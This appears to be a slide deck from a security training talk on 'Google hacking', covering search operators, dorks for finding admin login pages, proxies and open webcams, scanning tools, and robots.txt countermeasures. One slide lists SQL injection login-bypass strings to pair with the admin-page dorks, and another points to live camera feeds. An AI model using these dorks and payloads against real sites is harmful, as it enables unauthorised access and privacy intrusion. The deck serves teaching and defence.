Google and Beyond Advanced Search Engine Hacking and

Google and Beyond: Advanced Search Engine Hacking and Web-Based Intelligence Gathering By Manish Kumar Founder & CEO, Rooman Technologies Pvt Ltd

AGENDA • How Google works • Information disclosure with Google • Tools • Countermeasures

Google Hacking Web Hacking: Pick a site, find the vulnerability Google Hacking : Pick a vulnerability, find the site. Don’t Be A Target of Opportunity

How Google Works • Googlebot, – a web crawler that finds and fetches web pages. • The indexer – that sorts every word on every page and stores the resulting index of words in a huge database. • The query processor – which compares your search query to the index and recommends the documents that it considers most relevant.

How Google Works SERVER SIDE CLIENT SIDE

How Googlebot Works Googlebot finds pages in two ways – through an add URL form, www. google. com/addurl. html – through finding links by crawling the web.

Indexer and Query Processor • Indexer – Googlebot gives the indexer the full text of the pages it finds. These pages are stored in Google’s index database in alphabetic order. – each index entry store a list of documents in which the term appears and the location within the text where it occurs. • Query Processor – Page Ranking puts more important pages at high rank. – Intelligent Technique for learning relationships and associations within the stored data – Spelling Correcting System

So What Determines Page Relevance and Rating? • Exact Phrase: – are your keywords found as an exact phrase in any pages? • Adjacency: – how close are your keywords to each other? • Weighting: – how many times do the keywords appear in the page? • Page. Rank/Links: – How many links point to the page? How many links are actually in the page. Equation: (Exact Phrase Hit)+(Adjacency. Factor)+(Weight) * (Page. Rank/Links)

The Basics • To set the stage for what I will demo, it is necessary to understand some of Google’s advanced search functions. • This will not be an exhaustive list, just an intro. • Creative use of these functions is the key to successful Google Hacking.

The Basics • Some important things to keep in mind – Google queries are not case sensitive. – The * wildcard represents any word • Example: “* insurance quote” – Google stems words automatically • Example: “automobile insurance quote” brings up sites with “auto … “.

The Basics • The + symbol forces inclusion of a certain word. – “auto insurance +progressive” • The - symbol forces exclusion of a certain word. – (Site: progressive. com –site: www. progressive. com) • The | symbol provides boolean OR logic. – “auto insurance + inurl: (progressive | geico)”

Information Disclosure with Google • Advanced Search Operators – site: (. edu, . gov, foundstone. com, usc. edu) – filetype: (txt, xls, mdb, pdf, . log) – Daterange: (julian date format) – Intitle / allintitle – Inurl / allinurl

Advanced Operators • link: URL = lists other pages that link to the URL. • related: URL = lists other pages that are related to the URL. • site: domain. com “search term” = restricts search results to the given domain. • allinurl: WORDS = shows only pages with all search terms in the url. • inurl: WORD = like allinurl: but filters the URL based on the first term only. • allintitle: WORD = shows only results with terms in title. • intitle: WORD = similar to allintitle, but only for the next word. • cache: URL = will show the Google cached version of the URL.

The Basics • Let’s take a look at a few of the interesting Google search commands.

The Basics • There are many more advanced operators. • Combining these creatively is the key to Google Hacking. • http: //www. googleguide. com/advanced_oper ators_reference. html BUT DO YOU REALLY NEED TO REMEMBER IT

Advanced Search with Google

INTERESTING SEARCHES… Now that we’ve gotten this boring stuff out of the way, let’s introduce some Google hacks.

Google and Proxy • Use www. google. com/translate_t to by-pass Internet Browser Security Settings. • Find a proxy that works, and enter in the URL – inurl: ”nph-proxy. cgi” “start using cgiproxy” – inurl: ”nph-proxy. cgi” “Start browsing through this CGI-based proxy”

Gaining auth bypass on an admin account • There is a large number of google dork for basic sql injection – – – – – "inurl: admin. asp" "inurl: login/admin. asp" "inurl: admin/login. asp" "inurl: adminhome. asp" "inurl: admin_login. asp" "inurl: administratorlogin. asp" "inurl: login/administrator. asp" "inurl: administrator_login. asp"

SQL Injection Keep the username as "Admin“ and for password type one of the following • • • ' or '1'='1 ' or 'x'='x ' or 0=0 -" or 0=0 -' or 0=0 # " or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1 -- • • • " or 1=1 -' or a=a-" or "a"="a ') or ('a'='a ") or ("a"="a hi" or 1=1 -hi' or 1=1 – blah’ 'or'1=1'

Few more interesting Searches • Browsing images of the site – Site: xxxxxxx in Google image • Browse Live Video Cameras – inurl: ”viewerframe? mode=motion” (http: //202. 212. 193. 26: 555/Viewer. Frame? Mode=Motion&Language=0) – Intitle: ”Live View / - AXIS” • Browse Open Webcams Worldwide – Axis Webcams: inurl: /view. shtml or inurl: view/index. shtml – Cannon Webcams: sample/Lv. Appl/ • Server versioning – intitle: index. of “server at”

Tools – Google Hacks – Goolag Site Scanner – Site Digger – Gooscan – Goolink Scanner – Athena

GOOGLE HACK • Google Hacks is a compilation of carefully crafted Google searches that expose novel functionality from Google's search and map services • You can use it to view a timeline of your search results, view a map, search for music, search for books, and perform many other specific kinds of searches • You can also use this program to use google as a proxy

GOOGLE HACK SCREEN SHOT

GOOLAG SCANNER • Goolag Scanner enables everyone to audit his/her own web site via Google • It uses one xml-based configuration file for its settings

Screenshot of GOOLAG SCANNER

SITEDIGGER • Automated Google hacking tool from Foundstone • Uses Google API • Uses Google Hacking Database • Site. Digger searches Google’s cache to look for vulnerabilities, errors, configuration issues, proprietary information, and interesting security nuggets on websites

Screen shot of SITE DIGGER

Countermeasures Keep sensitive data off the web!! Do not display detailed Error Message Do not allow Directory Browsing Perform periodic Google Assessments Update robots. txt (For examples and suggestions for using a robots. txt file, see http: //www. robotstxt. org) • Use meta-tags: NOARCHIVE • http: //www. google. com/remove. html. • • •

This is bad!

How To Protect Your Websites From Google Hackers • Use a robots. txt file to prevent Google and other search engines from crawling your site if it shouldn’t be crawled.

ROBOTS. TXT Example • This example allows all robots to visit all files because the wildcard "*" specifies all robots: – User-agent: * – Disallow: • This example keeps all robots out: – User-agent: * – Disallow: / • The next is an example that tells all crawlers not to enter four directories of a website: – User-agent: * – Disallow: /cgi-bin/ Disallow: /images/ Disallow: /tmp/ Disallow: /private/

Robots. txt Cont. . • Example that tells a specific crawler not to enter one specific directory: – User-agent: Bad. Bot # replace the 'Bad. Bot' with the actual user-agent of the bot – Disallow: /private/ • Example that tells all crawlers not to enter one specific file: – User-agent: * – Disallow: /directory/file. html • Note that all other files in the specified directory will be processed. • Example demonstrating how comments can be used: – # Comments appear after the "#" symbol at the start of a line, or after a directive User-agent: * # match all bots Disallow: / # keep them out

Few interesting Websites • www. archive. org – Archive of websites (Time Machine) • www. readnotify. com – Find out when your email gets read, Retract, Certify, Track & much more • www. guerrillamail. com – (provides you with disposable e-mail addresses which expire after 15 Minutes. • www. gorillaemail. com – Email Marketing solutions that allows you to Send, Track and Confirm delivery of Emails, Newsletters, Events etc.

QUESTIONS ? ? THANK YOU Manish Kumar, CEO, Rooman Technologies Email: manish@rooman. net Ph: 080 -40445566